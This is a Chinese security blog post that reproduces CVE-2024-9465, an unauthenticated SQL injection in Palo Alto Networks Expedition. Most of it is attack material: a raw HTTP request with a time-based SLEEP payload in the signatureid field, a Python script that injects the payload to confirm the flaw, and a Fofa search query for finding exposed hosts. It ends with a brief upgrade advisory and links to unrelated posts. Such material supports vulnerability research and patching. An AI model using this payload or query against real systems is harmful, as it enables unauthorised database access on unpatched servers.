Palo Alto Networks Expedition 未授权SQL注入漏洞复现(CVE-2024-9465)

0x01 产品介绍:

Palo Alto Networks Expedition 是一款强大的工具,帮助用户有效地迁移和优化网络安全策略,提升安全管理的效率和效果。它的自动化功能、策略分析和可视化报告使其在网络安全领域中成为一个重要的解决方案。

0x02 漏洞描述:

该漏洞由于CHECKPOINT.php文件存在未授权访问。在sql校验逻辑中存在action=import当解析控制参数时会创建变量routename和id并且以字符串格式构造查询。导致了漏洞的产生

0x03 影响版本:

Palo Alto Networks Expedition < 1.2.96

0x04 搜索语句:

Fofa:title="Expedition Project"

0x05 漏洞复现:

poc

复制代码
POST /bin/configurations/parsers/Checkpoint/CHECKPOINT.php HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

action=import&type=test&project=pandbRBAC&signatureid=1%20AND%20(SELECT%201234%20FROM%20(SELECT(SLEEP(5)))test)

检测脚本:

脚本作者:https://github.com/horizon3ai/CVE-2024-9465

复制代码
#!/usr/bin/python3
import argparse
import requests
import urllib3
import sys
import time
urllib3.disable_warnings()


def create_checkpoint_table(url: str):
    print(f'[*] Creating Checkpoint database table...')
    data = {'action': 'get',
            'type': 'existing_ruleBases',
            'project': 'pandbRBAC',
            }
    r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)
    if r.status_code == 200 and 'ruleBasesNames' in r.text:
        print(f'[*] Successfully created the database table')
        return

    print(f'[-] Unexpected response creating table: {r.status_code}:{r.text}')
    sys.exit(1)


def inject_checkpoint_query(url: str):
    start_time = time.time()
    print(f'[*] Injecting 10 second sleep payload into database query...')
    data = {'action': 'import',
            'type': 'test',
            'project': 'pandbRBAC',
            'signatureid': '1 AND (SELECT 1234 FROM (SELECT(SLEEP(10)))horizon3)',
            }
    r = requests.post(f'{url}/bin/configurations/parsers/Checkpoint/CHECKPOINT.php', data=data, verify=False, timeout=30)
    execution_time = time.time() - start_time
    if r.status_code == 200 and execution_time > 9 and execution_time < 15:
        print(f'[*] Successfully sent injection payload!')
        print(f'[+] Target is vulnerable, request took {execution_time} seconds')
        return

    print(f'[-] Unexpected response sending injection payload: {r.status_code}:{r.text}')
    sys.exit(1)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The URL of the target', type=str, required=True)
    args = parser.parse_args()

    create_checkpoint_table(args.url)
    inject_checkpoint_query(args.url)

0x06 修复建议:

厂商已发布补丁 请即时升级

Expedition | Palo Alto Networks

相关推荐
诗句藏于尽头5 小时前
完成ssl不安全警告
网络协议·安全·ssl
独行soc10 小时前
#渗透测试#批量漏洞挖掘#HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)
linux·科技·安全·网络安全·面试·渗透测试
Me4神秘11 小时前
Linux国产与国外进度对垒
linux·服务器·安全
老K(郭云开)12 小时前
谷歌浏览器安全输入控件-allWebSafeInput控件
安全
Whoisshutiao12 小时前
网安-XSS-pikachu
前端·安全·网络安全
还是奇怪13 小时前
Linux - 安全排查 2
linux·运维·安全
Clownseven19 小时前
云端备份与恢复策略:企业如何选择最安全的备份解决方案
安全
薄荷椰果抹茶21 小时前
【网络安全基础】第六章---Web安全需求
安全·web安全
HumanRisk1 天前
降低网络安全中的人为风险:以人为本的路径
网络·安全·web安全
运维开发王义杰1 天前
金融安全生命线:用AWS EventBridge和CloudTrail构建主动式入侵检测系统
安全·金融·aws